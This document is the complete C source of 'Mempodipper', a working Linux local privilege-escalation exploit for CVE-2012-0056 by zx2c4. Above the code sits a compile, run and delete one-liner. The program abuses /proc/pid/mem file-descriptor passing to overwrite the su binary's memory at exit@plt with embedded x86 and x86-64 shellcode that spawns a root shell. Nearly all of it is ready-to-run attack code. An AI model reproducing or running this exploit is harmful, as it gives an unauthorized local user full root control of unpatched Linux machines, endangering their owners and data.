Linux local privilege root CVE-2012-0056

gcc mempodipper.c -o mempodipper ./mempodipper rm mempodipper

/*
 * Mempodipper
 * by zx2c4
 *
 * Linux Local Root Exploit
 *
 * Rather than put my write up here, per usual, this time I've put it
 * in a rather lengthy blog post: http://blog.zx2c4.com/749
 *
 * Enjoy.
 *
 * - zx2c4
 * Jan 21, 2012
 *
 * CVE-2012-0056
 */

#define _LARGEFILE64_SOURCE
#define _GNU_SOURCE
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <sys/socket.h>
#include <sys/un.h>
#include <sys/wait.h>
#include <sys/types.h>
#include <sys/user.h>
#include <sys/ptrace.h>
#include <sys/reg.h>
#include <fcntl.h>
#include <unistd.h>
#include <limits.h>

char *prog_name;

int send_fd(int sock, int fd)
{
    char buf[1];
    struct iovec iov;
    struct msghdr msg;
    struct cmsghdr *cmsg;
    int n;
    char cms[CMSG_SPACE(sizeof(int))];

    buf[0] = 0;
    iov.iov_base = buf;
    iov.iov_len = 1;

    memset(&msg, 0, sizeof msg);
    msg.msg_iov = &iov;
    msg.msg_iovlen = 1;
    msg.msg_control = (caddr_t)cms;
    msg.msg_controllen = CMSG_LEN(sizeof(int));

    cmsg = CMSG_FIRSTHDR(&msg);
    cmsg->cmsg_len = CMSG_LEN(sizeof(int));
    cmsg->cmsg_level = SOL_SOCKET;
    cmsg->cmsg_type = SCM_RIGHTS;
    memmove(CMSG_DATA(cmsg), &fd, sizeof(int));

    if ((n = sendmsg(sock, &msg, 0)) != iov.iov_len)
        return -1;
    close(sock);
    return 0;
}

int recv_fd(int sock)
{
    int n;
    int fd;
    char buf[1];
    struct iovec iov;
    struct msghdr msg;
    struct cmsghdr *cmsg;
    char cms[CMSG_SPACE(sizeof(int))];

    iov.iov_base = buf;
    iov.iov_len = 1;

    memset(&msg, 0, sizeof msg);
    msg.msg_name = 0;
    msg.msg_namelen = 0;
    msg.msg_iov = &iov;
    msg.msg_iovlen = 1;

    msg.msg_control = (caddr_t)cms;
    msg.msg_controllen = sizeof cms;

    if ((n = recvmsg(sock, &msg, 0)) < 0)
        return -1;
    if (n == 0)
        return -1;
    cmsg = CMSG_FIRSTHDR(&msg);
    memmove(&fd, CMSG_DATA(cmsg), sizeof(int));
    close(sock);
    return fd;
}

unsigned long ptrace_address()
{
    int fd[2];
    printf("[+] Creating ptrace pipe.\n");
    pipe(fd);
    fcntl(fd[0], F_SETFL, O_NONBLOCK);

    printf("[+] Forking ptrace child.\n");
    int child = fork();
    if (child) {
        close(fd[1]);
        char buf;
        printf("[+] Waiting for ptraced child to give output on syscalls.\n");
        for (;;) {
            wait(NULL);
            if (read(fd[0], &buf, 1) > 0)
                break;
            ptrace(PTRACE_SYSCALL, child, NULL, NULL);
        }

        printf("[+] Error message written. Single stepping to find address.\n");
        struct user_regs_struct regs;
        for (;;) {
            ptrace(PTRACE_SINGLESTEP, child, NULL, NULL);
            wait(NULL);
            ptrace(PTRACE_GETREGS, child, NULL, &regs);
#if defined(__i386__)
#define instruction_pointer regs.eip
#define upper_bound 0xb0000000
#elif defined(__x86_64__)
#define instruction_pointer regs.rip
#define upper_bound 0x700000000000
#else
#error "That platform is not supported."
#endif
            if (instruction_pointer < upper_bound) {
                unsigned long instruction = ptrace(PTRACE_PEEKTEXT, child, instruction_pointer, NULL);
                if ((instruction & 0xffff) == 0x25ff /* jmp r/m32 */)
                    return instruction_pointer;
            }
        }
    } else {
        printf("[+] Ptrace_traceme'ing process.\n");
        if (ptrace(PTRACE_TRACEME, 0, NULL, NULL) < 0) {
            perror("[-] ptrace");
            return 0;
        }
        close(fd[0]);
        dup2(fd[1], 2);
        execl("/bin/su", "su", "not-a-valid-user", NULL);
    }
    return 0;
}

unsigned long objdump_address()
{
    FILE *command = popen("objdump -d /bin/su|grep ''|head -n 1|cut -d ' ' -f 1|sed 's/^[0]*\\([^0]*\\)/0x\\1/'", "r");
    if (!command) {
        perror("[-] popen");
        return 0;
    }
    char result[32];
    fgets(result, 32, command);
    pclose(command);
    return strtoul(result, NULL, 16);
}

unsigned long find_address()
{
    printf("[+] Ptracing su to find next instruction without reading binary.\n");
    unsigned long address = ptrace_address();
    if (!address) {
        printf("[-] Ptrace failed.\n");
        printf("[+] Reading su binary with objdump to find exit@plt.\n");
        address = objdump_address();
        if (address == ULONG_MAX || !address) {
            printf("[-] Could not resolve /bin/su. Specify the exit@plt function address manually.\n");
            printf("[-] Usage: %s -o ADDRESS\n[-] Example: %s -o 0x402178\n", prog_name, prog_name);
            exit(-1);
        }
    }
    printf("[+] Resolved call address to 0x%lx.\n", address);
    return address;
}

int su_padding()
{
    printf("[+] Calculating su padding.\n");
    FILE *command = popen("/bin/su this-user-does-not-exist 2>&1", "r");
    if (!command) {
        perror("[-] popen");
        exit(1);
    }
    char result[256];
    fgets(result, 256, command);
    pclose(command);
    return strstr(result, "this-user-does-not-exist") - result;
}

int child(int sock)
{
    char parent_mem[256];
    sprintf(parent_mem, "/proc/%d/mem", getppid());
    printf("[+] Opening parent mem %s in child.\n", parent_mem);
    int fd = open(parent_mem, O_RDWR);
    if (fd < 0) {
        perror("[-] open");
        return 1;
    }
    printf("[+] Sending fd %d to parent.\n", fd);
    send_fd(sock, fd);
    return 0;
}

int parent(unsigned long address)
{
    int sockets[2];
    printf("[+] Opening socketpair.\n");
    if (socketpair(AF_UNIX, SOCK_STREAM, 0, sockets) < 0) {
        perror("[-] socketpair");
        return 1;
    }
    if (fork()) {
        printf("[+] Waiting for transferred fd in parent.\n");
        int fd = recv_fd(sockets[1]);
        printf("[+] Received fd at %d.\n", fd);
        if (fd < 0) {
            perror("[-] recv_fd");
            return 1;
        }
        printf("[+] Assigning fd %d to stderr.\n", fd);
        dup2(2, 15);
        dup2(fd, 2);

        unsigned long offset = address - su_padding();
        printf("[+] Seeking to offset 0x%lx.\n", offset);
        lseek64(fd, offset, SEEK_SET);

#if defined(__i386__)
        // See shellcode-32.s in this package for the source.
        char shellcode[] =
            "\x31\xdb\xb0\x17\xcd\x80\x31\xdb\xb0\x2e\xcd\x80\x31\xc9\xb3"
            "\x0f\xb1\x02\xb0\x3f\xcd\x80\x31\xc0\x50\x68\x6e\x2f\x73\x68"
            "\x68\x2f\x2f\x62\x69\x89\xe3\x31\xd2\x66\xba\x2d\x69\x52\x89"
            "\xe0\x31\xd2\x52\x50\x53\x89\xe1\x31\xd2\x31\xc0\xb0\x0b\xcd"
            "\x80";
#elif defined(__x86_64__)
        // See shellcode-64.s in this package for the source.
        char shellcode[] =
            "\x48\x31\xff\xb0\x69\x0f\x05\x48\x31\xff\xb0\x6a\x0f\x05\x48"
            "\x31\xf6\x40\xb7\x0f\x40\xb6\x02\xb0\x21\x0f\x05\x48\xbb\x2f"
            "\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xeb\x08\x53\x48\x89\xe7"
            "\x48\x31\xdb\x66\xbb\x2d\x69\x53\x48\x89\xe1\x48\x31\xc0\x50"
            "\x51\x57\x48\x89\xe6\x48\x31\xd2\xb0\x3b\x0f\x05";
#else
#error "That platform is not supported."
#endif
        printf("[+] Executing su with shellcode.\n");
        execl("/bin/su", "su", shellcode, NULL);
    } else {
        char sock[32];
        sprintf(sock, "%d", sockets[0]);
        printf("[+] Executing child from child fork.\n");
        execl("/proc/self/exe", prog_name, "-c", sock, NULL);
    }
    return 0;
}

int main(int argc, char **argv)
{
    prog_name = argv[0];

    if (argc > 2 && argv[1][0] == '-' && argv[1][1] == 'c')
        return child(atoi(argv[2]));

    printf("===============================\n");
    printf("=          Mempodipper        =\n");
    printf("=           by zx2c4          =\n");
    printf("=         Jan 21, 2012        =\n");
    printf("===============================\n\n");

    if (argc > 2 && argv[1][0] == '-' && argv[1][1] == 'o')
        return parent(strtoul(argv[2], NULL, 16));
    else
        return parent(find_address());

}